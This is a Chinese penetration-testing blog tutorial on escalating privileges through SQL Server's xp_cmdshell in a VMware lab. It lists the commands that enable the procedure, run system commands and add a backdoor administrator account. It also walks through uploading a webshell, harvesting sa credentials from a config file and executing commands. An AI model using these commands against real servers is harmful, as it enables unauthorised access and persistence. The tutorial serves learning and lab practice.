当前位置:网站首页>110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]
110.网络安全渗透测试—[权限提升篇8]—[Windows SqlServer xp_cmdshell存储过程提权]
2022-07-07 09:58:00 【qwsn】
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
文章目录
一、Windows Sqlserver xp_cmdshell存储过程提权
1、XP_CMDSHELL提权背景:
如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,可以开启xp_cmdshell存储过程,以sqlserver的身份执行系统命令。但是不一定是系统权限,还要看管理员在一开始安装sqlserver的权限设置。
2、XP_CMDSHELL相关概念:
(1)xp_cmdshell存储过程【存储过程是:已预编译为一个可执行过程的一个或多个SQL语句的集合】,它是用来执行本机的cmd命令的,要求系统登陆有sa权限。默认情况下,sql server2005/2008在安装后,xp_cmdshell存储过程是禁用的,如果要使用它,可以按照以下语句开启:Exec sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,1;RECONFIGURE;`
| 序号 | 命令 | 注释 |
|---|---|---|
| 1 | Exec sp_configure ‘show advanced options’,1; | #允许配置高级选项 |
| 2 | RECONFIGURE; | #重新配置 |
| 3 | EXEC sp_configure ‘xp_cmdshell’,1; | #启用xp_cmdshell存储过程 |
| 4 | RECONFIGURE; | #重新配置 |
(2)执行系统命令格式:
| 序号 | 命令 | 注释 |
|---|---|---|
| 1 | Exec master.dbo.xp_cmdshell ‘whoami’ | #查看当前用户 |
| 2 | Exec master.dbo.xp_cmdshell ‘net user’ | #查看所有用户 |
| 3 | Exec master.dbo.xp_cmdshell ‘systeminfo’ | #查看OS信息 |
| 4 | Exec master.dbo.xp_cmdshell ‘net user test 123 /add & net localgroup administrators test /add’ | #添加管理员组用户 |
(3)使用完了要及时禁用:Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;
| 序号 | 命令 | 注释 |
|---|---|---|
| 1 | Exec sp_configure ‘show advanced options’,1; | #允许配置高级选项 |
| 2 | RECONFIGURE; | #重新配置 |
| 3 | EXEC sp_configure ‘xp_cmdshell’,0; | #禁用xp_cmdshell存储过程 |
| 4 | RECONFIGURE; | #重新配置 |
3、XP_CMDSHELL提权实战:
(1)实验环境:
1.靶机环境:
(1)虚拟机Windows2008【target_sys.com】【192.168.97.131】
(2)脚本语言环境:php/asp语言环境存在
2.攻击机:
(1)虚拟机Win7【192.168.97.130】
(2)Firefox+Burpsuite+蚁剑+大马
3.网络环境:
(1)VMware搭建的NAT网络
(3)靶机链接:
URL:http://target_sys.com/upload.php
(3)实验过程:
第一步:访问靶机链接,利用MIME突破白名单类型限制,上传up.aspx大马
【以上过程略】以下进行提权过程:
第二步:连接up.aspx大马【密码为admin】,并且点击[File Manager]文件管理模块,进行查找sqlserver的帐号和密码
连接大马:
sqlserver的连接数据一般的存储位置:web.config、config.asp、conn.aspx、database.aspx,不过该环境下的实在旁站(www.demo1.com)下的index.aspx内存储了as用户密码:123456
第三步:点击[DataBase]数据库模块,使用刚刚得到的sa账号连接mssql,同时发现SQL SERVER版本为2008
xp_cmdshell存储过程是用来执行本机的cmd命令的,要求系统登陆有sa权限
第四步:SQLExec下拉框中选择Add xp_cmdshell(SQL2005)这个选项,开启xp_cmdshell存储过程

第五步:利用刚刚启用的xp_cmdshell存储过程,以sqlserver的身份去执行一些系统命令
由于查看当前权限也是一个普通用户,所以只可以执行一些基础的命令,也可以上传溢出提权工具 再来提高当前用户的权限。


边栏推荐
- 【滤波跟踪】捷联惯导纯惯导解算matlab实现
- 聊聊SOC启动(九) 为uboot 添加新的board
- Flet教程之 15 GridView 基础入门(教程含源码)
- [question] Compilation Principle
- Learning notes | data Xiaobai uses dataease to make a large data screen
- Two week selection of tdengine community issues | phase II
- STM32F1与STM32CubeIDE编程实例-315M超再生无线遥控模块驱动
- 【滤波跟踪】基于matlab扩展卡尔曼滤波EKF和无迹卡尔曼滤波UKF比较【含Matlab源码 1933期】
- Summed up 200 Classic machine learning interview questions (with reference answers)
- SwiftUI Swift 内功之 Swift 中使用不透明类型的 5 个技巧
猜你喜欢

Onedns helps college industry network security

SwiftUI 4 新功能之掌握 WeatherKit 和 Swift Charts

Reasons for the failure of web side automation test

《通信软件开发与应用》课程结业报告

超标量处理器设计 姚永斌 第10章 指令提交 摘录

Enclosed please find. Net Maui's latest learning resources
![[filter tracking] strapdown inertial navigation simulation based on MATLAB [including Matlab source code 1935]](/img/ae/52cdc98fb9db8c0d0776b8274ecd39.png)
[filter tracking] strapdown inertial navigation simulation based on MATLAB [including Matlab source code 1935]

千人規模互聯網公司研發效能成功之路

聊聊SOC启动(六)uboot启动流程二

18 basic introduction to divider separator component of fleet tutorial (tutorial includes source code)
随机推荐
Learning notes | data Xiaobai uses dataease to make a large data screen
STM32入门开发 NEC红外线协议解码(超低成本无线传输方案)
HCIA复习整理
What is cloud computing?
Easyui学习整理笔记
【滤波跟踪】基于matlab扩展卡尔曼滤波EKF和无迹卡尔曼滤波UKF比较【含Matlab源码 1933期】
聊聊SOC启动(九) 为uboot 添加新的board
SwiftUI Swift 内功之如何在 Swift 中进行自动三角函数计算
请查收.NET MAUI 的最新学习资源
[texture feature extraction] LBP image texture feature extraction based on MATLAB local binary mode [including Matlab source code 1931]
Blog moved to Zhihu
Nuclear boat (I): when "male mothers" come into reality, can the biotechnology revolution liberate women?
浙江大学周亚金:“又破又立”的顶尖安全学者,好奇心驱动的行动派
What development models did you know during the interview? Just read this one
Two week selection of tdengine community issues | phase II
About how to install mysql8.0 on the cloud server (Tencent cloud here) and enable local remote connection
STM32F1与STM32CubeIDE编程实例-MAX7219驱动8位7段数码管(基于SPI)
SwiftUI 教程之如何在 2 秒内实现自动滚动功能
软件内部的定时炸弹:0-Day Log4Shell只是冰山一角
.NET MAUI 性能提升